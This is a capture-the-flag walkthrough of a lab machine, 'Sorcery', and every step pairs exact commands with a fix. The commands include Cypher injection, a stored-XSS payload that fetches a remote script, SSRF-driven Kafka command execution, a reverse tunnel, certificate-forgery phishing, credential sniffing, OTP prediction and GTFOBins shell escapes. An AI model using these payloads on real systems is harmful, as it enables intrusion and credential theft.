← all walkthroughs

Sorcery

Linux· Insane
owned
2026-09-07
time to own
1h37m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I chained a Neo4j Cypher injection in the sorcery.htb storefront to steal a hard-coded seller registration key, used a seller account to plant a stored-XSS payload that hijacked the site's automated admin browser and registered a rogue WebAuthn passkey for full admin rights, then abused an SSRF endpoint to hand-craft a Kafka message that the internal DNS container blindly executed as a shell command, gaining a foothold on the internal Docker networks. From there, anonymous FTP access yielded the site's root CA and private key, which was used to mint a trusted TLS certificate for a phishing domain and steal a Gitea user's credentials; a world-readable virtual display buffer then exposed a second, more privileged user's plaintext password.

That user's narrowly-scoped but abusable sudo rights (docker login plus strace) let me sniff a one-time-passcode credential helper in the clear, and reverse-engineering its weak, predictable OTP generator unlocked the internal Docker registry, an embedded FreeIPA credential, and finally an over-broad FreeIPA delegation that was used to add my account to the sysadmins group and the sudoers rule — yielding full root access.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD10="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered, for rebecca_smith>"
export PASSWORD9="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"
export HEX_ID2="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets — <admin_passkey_jwt>, <hex-encoded-kafka-produce-frame>, <id>, <mailhog-host>, <new-product-action-id>, <pid>, <port_data-action-id>, <pwnlab_jwt>, <pwnseller_jwt>, <tun> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceClient-side bundle analysis / Next.js Server Action ID recovery
Mapped the web application and recovered internal Server Action IDs
Only SSH (22) and HTTPS (443) were exposed. The HTTPS listener fronted two virtual hosts, sorcery.htb (a Next.js storefront backed by a Rust/Rocket API) and git.sorcery.htb (Gitea). Pulling the compiled Next.js JavaScript chunks for the login/register pages and grepping them for 40-character hex strings recovered the framework's internal 'Next-Action' IDs, which let requests be sent straight to the backend server actions via the Next-Action header — bypassing the UI and any client-side validation.
register-page.js and login-page.js chunks contained the action IDs <withheld> (register) and <withheld> (login).
Exact commands 4
shell

Confirm the vhost and app stack (nginx + Next.js).

$ curl -sk --resolve sorcery.htb:443:$TARGET https://sorcery.htb/ -D - -o sorcery_root.html
shell

Fetch the register page and list its JS chunks.

$ curl -sk -H 'Host: sorcery.htb' https://$TARGET/auth/register -o sorcery_register.html && grep -oE 'src="[^"]+\.js[^" ]*"' sorcery_register.html | sed 's/src="//'
shell

Recover the Next-Action ID used by the register form.

$ curl -sk -H 'Host: sorcery.htb' https://$TARGET/_next/static/chunks/app/auth/register/page-3152cab5395e2127.js -o register-page.js && grep -aoE '[0-9a-f]{40}' register-page.js
shell

Register a baseline unprivileged (Client) account directly against the server action.

$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnlab","'"$PASSWORD4"'",""]' https://$TARGET/auth/register
2ExploitationCypher (Neo4j) injection via string concatenation
Injected Cypher into the Neo4j-backed product lookup to steal the seller registration key
The backend's Product::get_by_id built its Neo4j query by string-concatenating the caller-supplied product id directly into MATCH (result: Product { id: "<id>" }) RETURN result. Closing the quote and appending UNION ALL with my own map broke out of the intended query. Because the app deserializes whatever the query returns as a Product, the injected map had to carry every Product field (id, name, description, is_authorized, created_by_id) even though the real target was the separate Config node holding the site's seller registration key.
src/db/models/product.rs / api/products/get_one.rs build the query from the raw id parameter; the resulting page leaked the UUID <withheld>, later confirmed to be the seller registration_key.
Exact commands 2
shell

Injected product id (URL-decoded): x"} UNION ALL MATCH (c:Config) RETURN { id: "x", name: c.registration_key, description: "", is_authorized: true, created_by_id: "" } // — replace <pwnlab_jwt> with the login token from step 1.

$ curl -sk -H 'Host: sorcery.htb' -b 'token=<pwnlab_jwt>' "https://$TARGET/dashboard/store/x%22%7D%20UNION%20ALL%20MATCH%20(c%3AConfig)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20c.registration_key%2C%20description%3A%20%22%22%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22%22%20%7D%20%2F%2F" -o cypher_config_response.html
shell

Extract the leaked registration key (UUID) rendered on the page.

$ grep -aoE '[0-9a-f-]{36}' cypher_config_response.html
FixParameterize all Neo4j Cypher queriesCritical
WeaknessThe product-lookup query built its Cypher statement by string-concatenating the caller-supplied product id, letting an unauthorised user close the string, append UNION ALL, and read arbitrary nodes in the graph (including a Config node holding a secret).
FixUse the Neo4j driver's parameter binding for every value that comes from a request (e.g. MATCH (result:Product {id: $id}) RETURN result, executed with id as a bound parameter) instead of string formatting, and apply the same rule to every other Cypher query in the codebase.
3Privilege EscalationBroken access control — privilege escalation via a leaked static secret
Self-registered a privileged Seller account using the leaked key
Normal signup only grants the low-privilege 'Client' role. The registration server action accepted an optional third argument — the registration key — and, when it matched the stolen Config value, minted a <withheld> account (privilegeLevel 1) instead, unlocking product-creation and other seller-only endpoints.
Login response for pwnseller returned a JWT with "privilegeLevel":1, versus 0 for the unprivileged pwnlab account.
Exact commands 2
shell

Register using the leaked registration key.

$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnseller","'"$PASSWORD9"'","'"$KEY"'"]' https://$TARGET/auth/register
shell

1 (Seller).

$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID2" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnseller","'"$PASSWORD9"'"]' https://$TARGET/auth/login
FixStop granting privileged roles via a static, application-readable secretHigh
WeaknessAny signed-up user who could read the registration_key value (directly or via injection) could self-register as a privileged Seller account by supplying that key back to the register action — the key functioned as a shared, indefinitely-valid password for a role upgrade.
FixIssue seller access through admin-approved, single-use invitation tokens tied to a specific account and expiry, stored separately from general application data, and require an authenticated admin action (not a self-service form field) to elevate any account's privilege level.
4ExploitationStored Cross-Site Scripting (CWE-79) leading to WebAuthn credential registration abuse
Planted a stored-XSS payload to hijack the automated admin session and register a rogue admin passkey
Product descriptions are rendered with React's dangerouslySetInnerHTML. An admin-controlled headless browser (headless_chrome, seen wiring an admin JWT cookie via set_cookies/navigate_to in insert.rs) visits every newly created product to moderate it. A seller-created product carrying an <img onerror> payload ran my JavaScript inside that admin session — whose JWT is scoped to a few endpoints, including passkey registration, for only 60 seconds. The injected script loaded a second-stage script that drove the passkey-registration flow via the site's Next.js server actions (identified from the Next-Action header, requiring the build's action id) against my own Flask WebAuthn server. The forged authenticatorData had to set the flags byte to 0x45 (User Present + User Verified + Attested) — the backend silently rejects the credential without the UV bit — completing registration of my own admin passkey.
insert.rs shows the moderation bot calling tab.set_cookies()/navigate_to()/wait_until_navigated() with an admin JWT cookie before rendering the submitted product page.
Exact commands 3
shell

Serve the second-stage payload (passkey.js) and receive the admin bot's callback.

$ python3 -m http.server 8011
shell

Create a product whose description carries the XSS payload; replace <new-product-action-id> with the recovered Next-Action value and <tun> with my reachable IP.

$ curl -sk -H 'Host: sorcery.htb' -b 'token=<pwnseller_jwt>' -H 'Next-Action: <new-product-action-id>' -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["item","<img src=http://<tun>:8011/x.jpg onerror=\"var s=document.createElement(&apos;script&apos;);s.src=&apos;http://<tun>:8011/passkey.js&apos;;document.head.appendChild(s)\">",0]' https://$TARGET/dashboard/new-product
shell

Flask server implementing WebAuthn attestation that sets authData flags to UP|UV|AT (0x45); without UV the backend deserialization fails silently.

$ python3 webauthn_forge_server.py --flags 0x45
FixSanitize product descriptions before rendering and constrain the admin review botCritical
WeaknessProduct descriptions were rendered with React's dangerouslySetInnerHTML with no sanitization, and an automated admin browser carrying a live, highly-privileged JWT visited every new product page — letting a stored payload run with admin authority.
FixSanitize all user-submitted HTML with a library such as DOMPurify before rendering (or render as plain text), add a strict Content-Security-Policy (script-src 'self'), and have the review bot browse in an isolated context without a privileged session cookie attached.
5Remote Code ExecutionServer-Side Request Forgery to internal service + unsanitized shell execution of consumed Kafka messages
Pivoted into the internal Docker networks via SSRF and executed code through a Kafka message injection
Authenticating with the forged admin passkey returned a JWT with with_passkey:true and privilege_level 2. The admin-only /api/debug/port_data endpoint opened a raw TCP socket to my own internal host:port and wrote my own hex — an SSRF primitive into the Docker-internal network ($INTERNAL_HOST/16). It was used to reach the internal Kafka broker and hand-deliver a hand-built PRODUCE frame (api_key=0, api_version=0, with a correct CRC32 over the message body — a malformed frame is dropped with no error) to the 'update' topic. The DNS container's Kafka consumer piped that message body straight into bash -c, giving arbitrary command execution inside the container.
/api/debug/port_data opens a raw TCP socket and writes supplied hex; DNS container consumes topic 'update' into bash -c.
Exact commands 3
shell

Build/validate a real Kafka v0 PRODUCE frame (including CRC32) against a local test broker before sending it blind.

$ kcat -b 127.0.0.1:9092 -t update -P <<< 'id' -X debug=protocol
shell

Relay the crafted Kafka PRODUCE frame (hex) through the SSRF endpoint; message body is 'bash -c "<payload>"'.

$ curl -sk -H 'Host: sorcery.htb' -b 'token=<admin_passkey_jwt>' -H 'Next-Action: <port_data-action-id>' --data-raw '["kafka-broker.internal",9092,"<hex-encoded-kafka-produce-frame>"]' https://$TARGET/api/debug/port_data
shell

Once inside the DNS container, establish a reverse SOCKS tunnel to drive the rest of the attack via proxychains against internal-only hosts ($INTERNAL_HOST/16 and dc01.sorcery.htb).

$ chisel server -p 9001 --reverse & chisel client $ATTACKER_IP:9001 R:socks
FixRemove the debug SSRF endpoint and stop executing consumed Kafka message bodiesCritical
WeaknessAn authenticated debug endpoint let a caller open an arbitrary raw TCP connection into the internal network and write externally supplied bytes (SSRF), and a downstream Kafka consumer piped whatever it received on the 'update' topic straight into bash -c, turning that SSRF into remote code execution.
FixRemove /api/debug/port_data (or gate it behind a break-glass, non-production-only flag with strict allowlisting), segment the application tier so it cannot open arbitrary connections to internal services, and change the Kafka consumer to treat message bodies as data — validate against a fixed schema/allowlist and never pass them to a shell.
6Lateral MovementAnonymous FTP exposure of a private CA key + trusted-certificate phishing
Stole the internal Root CA via anonymous FTP and phished a Gitea user with a forged trusted certificate
An FTP server on the internal Docker network ($INTERNAL_HOST2:21) allowed anonymous login and exposed the environment's RootCA.crt and its password-protected RootCA.key. Cracking the key's passphrase revealed <withheld>. With the CA compromised, I generated a CSR for a look-alike hostname, signed it with the stolen CA, pointed internal DNS at my own host, and stood up a TLS-terminating reverse proxy impersonating git.sorcery.htb using the now-trusted certificate. A phishing email sent to a Gitea user captured their login credentials in the clear.
certificates/generated/RootCA.key crackable via pem2john+john to <withheld>; captured credential tom_summers / <redacted>.
Exact commands 5
shell

Anonymous login; download certificates/generated/RootCA.crt and RootCA.key.

$ proxychains ftp $INTERNAL_HOST2
shell

Crack the CA private key passphrase (recovered: $PASSWORD10).

$ pem2john RootCA.key > rootca.hash && john --wordlist=/usr/share/wordlists/rockyou.txt rootca.hash
shell

Sign a certificate for the phishing domain with the stolen, trusted CA.

$ openssl req -new -newkey rsa:2048 -nodes -keyout phishing.key -out phishing.csr -subj '/CN=phishing.sorcery.htb' && openssl x509 -req -in phishing.csr -CA RootCA.crt -CAkey RootCA.key -CAcreateserial -out phishing.crt -days 365 && cat phishing.key phishing.crt > phishing.pem
shell

Terminate TLS with the forged-but-trusted cert and reverse-proxy to the real Gitea to capture the login POST.

$ proxychains mitmdump --mode reverse:https://git.sorcery.htb --certs '*=phishing.pem' -p 443
shell

Send the phishing email pointing at my own, CA-trusted host.

$ swaks --to victim@sorcery.htb --from it-support@sorcery.htb --server <mailhog-host> --body 'Please review: https://phishing.sorcery.htb/user/login'
FixDisable anonymous FTP and never store private keys on a shared file serviceCritical
WeaknessThe internal FTP server allowed anonymous access to a directory containing the environment's root CA certificate and its private key, and that key was protected only by a weak, dictionary-crackable passphrase.
FixDisable anonymous FTP access entirely, remove private keys from any file share (store them in a secrets manager/HSM with access control), and enforce a strong, unique passphrase policy for any key that must be encrypted at rest.
7Lateral MovementImproper permissions on an X virtual framebuffer device (credential exposure via screen capture)
Read another user's plaintext password from a world-readable virtual display buffer
Tom_summers's shell showed a related process, tom_summers_admin, running mousepad with a passwords.txt file open under an Xvfb virtual display. The raw framebuffer device backing that display (/xorg/xvfb/Xvfb_screen0, 512x256, 24-bit BGRX) was readable, and converting the raw pixel dump to a PNG revealed the password rendered on screen.
Ps uxww showed mousepad open on passwords.txt under tom_summers_admin; Xvfb_screen0 raw dump converted with PIL disclosed the password.
Exact commands 2
shell

Confirm mousepad has passwords.txt open under the target session.

$ ps uxww | grep tom_summers_admin
shell

Convert the raw BGRX framebuffer dump to a viewable PNG to read the on-screen password.

$ python3 -c "from PIL import Image; d=open('/xorg/xvfb/Xvfb_screen0','rb').read(); Image.frombytes('RGBX',(512,256),d).convert('RGB').save('screen.png')"
FixRestrict access to virtual display framebuffer devicesHigh
WeaknessThe raw framebuffer device backing another user's virtual display (Xvfb) was world-readable, letting an unauthorised user reconstruct that user's screen — including a password visibly typed into a text editor — from raw pixel data.
FixRestrict framebuffer/display socket permissions to the owning user only (correct file/device ownership and mode), and avoid storing or displaying plaintext credentials in GUI applications — use a password manager instead.
8Credential AccessGTFOBins sudo abuse (strace) + predictable PRNG-seeded OTP generation
Abused scoped sudo rights to sniff a one-time-passcode credential helper, then broke its weak OTP generator
As tom_summers_admin, sudo -l allowed only /usr/bin/docker login and /usr/bin/strace — individually narrow, but together enough to intercept secrets. Running docker login triggers a docker-credential-docker-auth helper process; attaching strace to it while a login ran captured the credentials in the clear. That helper turned out to be a .NET binary; decompiling it showed its one-time passcode was generated with new Random(i + user_id) for i in 0..5 — with rebecca_smith's user_id known to be 2003, only six possible codes existed for any ~6-minute window.
SUID/sudo findings: rebecca_smith SSH login and no sudo; sudo rule allow_sudo lists only 'admin' as member (later steps escalate around this).
Exact commands 9
shell

As tom_summers_admin: confirm NOPASSWD entries for /usr/bin/docker login and /usr/bin/strace.

$ sudo -l
shell

Trigger the credential helper in the background.

$ sudo /usr/bin/docker login 127.0.0.1:5000 &
shell

Find the helper's PID.

$ pgrep -f docker-credential-docker-auth
shell

Trace the helper's syscalls; the plaintext credential and OTP flow through argv/read buffers.

$ sudo /usr/bin/strace -f -s 128 -p <pid>
shell

Decompile the .NET credential helper to recover the OTP algorithm: new Random(i + user_id).

$ ilspycmd docker-credential-docker-auth.dll -o decompiled/
shell

Generate all six possible OTPs for the current ~6-minute window (rebecca_smith, user_id 2003).

$ python3 -c "import random; uid=2003;\nfor i in range(6): random.seed(i+uid); print(random.randint(100000,999999))"
shell

Authenticate to the internal registry with password+OTP concatenated; try each of the 6 candidate codes.

$ docker login 127.0.0.1:5000 -u rebecca_smith -p "$PASSWORD6<OTP>"
shell

DockerRegistryGrabber: pull and extract the image layers without a full docker pull.

$ python3 drg.py --registry 127.0.0.1:5000 --image test-domain-workstation --dump
shell

Locate docker-entrypoint.sh's ipa-client-install line, which carries the next credential (donna_adams).

$ grep -R 'ipa-client-install' extracted-layers/
FixTighten sudo GTFOBins-abusable rules and fix the OTP generator's weak PRNG seedCritical
WeaknessA user was granted NOPASSWD sudo over /usr/bin/strace and /usr/bin/docker login; strace let them intercept another process's credentials in the clear, and the credential helper's one-time passcode was generated from a PRNG seeded with a small, predictable value (i + a known user_id), reducing the keyspace to six codes per time window.
FixRemove strace (and any other GTFOBins-listed debugging/tracing tool) from sudoers, or scope sudo rules to exact non-abusable commands only; regenerate OTPs using a cryptographically secure random source (e.g. RandomNumberGenerator/CSPRNG) never seeded from a predictable or an unauthorised user-known value.
9Privilege EscalationFreeIPA/LDAP delegated-ACI privilege escalation + SSSD cache-poisoning bypass
Abused an over-broad FreeIPA delegation to add my account to sysadmins and gain root
The recovered donna_adams credential could authenticate to FreeIPA and, per an overly broad delegated ACI, modify the userPassword attribute of ash_winter — but not unlock accounts (krbLastAdminUnlock was correctly restricted). Resetting ash_winter's password and logging in via SSH revealed a role field on ash_winter's own account, which was then used to add ash_winter to the sysadmins group and to the allow_sudo sudo rule. Because SSSD caches group/sudo membership, the new privileges did not take effect until the cache was refreshed — abusing sssd's own NOPASSWD systemctl-restart sudo rule to force it — after which sudo -s produced a root shell.
Ipa user-mod ash_winter succeeded for donna_adams; sysadmins group (GID 1638400005) and sudo rule allow_sudo (Host/Command/RunAs category: all) confirmed present; post-change sudo -l requires an sssd cache restart to reflect new membership.
Exact commands 8
shell

Authenticate to FreeIPA with the credential recovered from the Docker image.

$ kinit donna_adams
shell

Reset ash_winter's password using donna_adams's delegated write access to userPassword.

$ ipa user-mod ash_winter --password
shell

Log in as ash_winter; first login forces a password change.

$ ssh ash_winter@$TARGET
shell

Add ash_winter to the sysadmins group using their own add_sysadmin-scoped delegation.

$ ipa group-add-member sysadmins --users=ash_winter
shell

Add ash_winter as a member of the existing allow_sudo sudo rule (Host/Command/RunAs category: all).

$ ipa sudorule-add-user allow_sudo --users=ash_winter
shell

Force SSSD to drop its cached (pre-escalation) group/sudo membership; NOPASSWD, so this works before the new sudo rights are visible.

$ sudo /usr/bin/systemctl restart sssd
shell

Reconnect and confirm sudo now applies; drop to a root shell and prove access with id (uid=0).

$ ssh ash_winter@$TARGET 'sudo -l && sudo -s && id'
shell

Read the root flag -> <root.txt>

$ cat /root/root.txt
FixApply least-privilege FreeIPA delegation and invalidate SSSD cache on privilege changesCritical
WeaknessA delegated FreeIPA account could reset another user's password and that user's own profile carried a role permitting self-service addition to the sysadmins group and the allow_sudo rule — an over-broad delegation chain that let a mid-tier credential escalate itself to root, and SSSD continued honoring the pre-escalation cached permissions until manually refreshed.
FixScope FreeIPA delegation ACIs to the minimum attributes and target groups actually required per role, remove self-service group/sudo-rule membership changes for non-admin roles, and audit role strings against real, defined FreeIPA roles. Force SSSD cache invalidation automatically whenever group or sudo rule membership changes, rather than relying on manual restarts.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp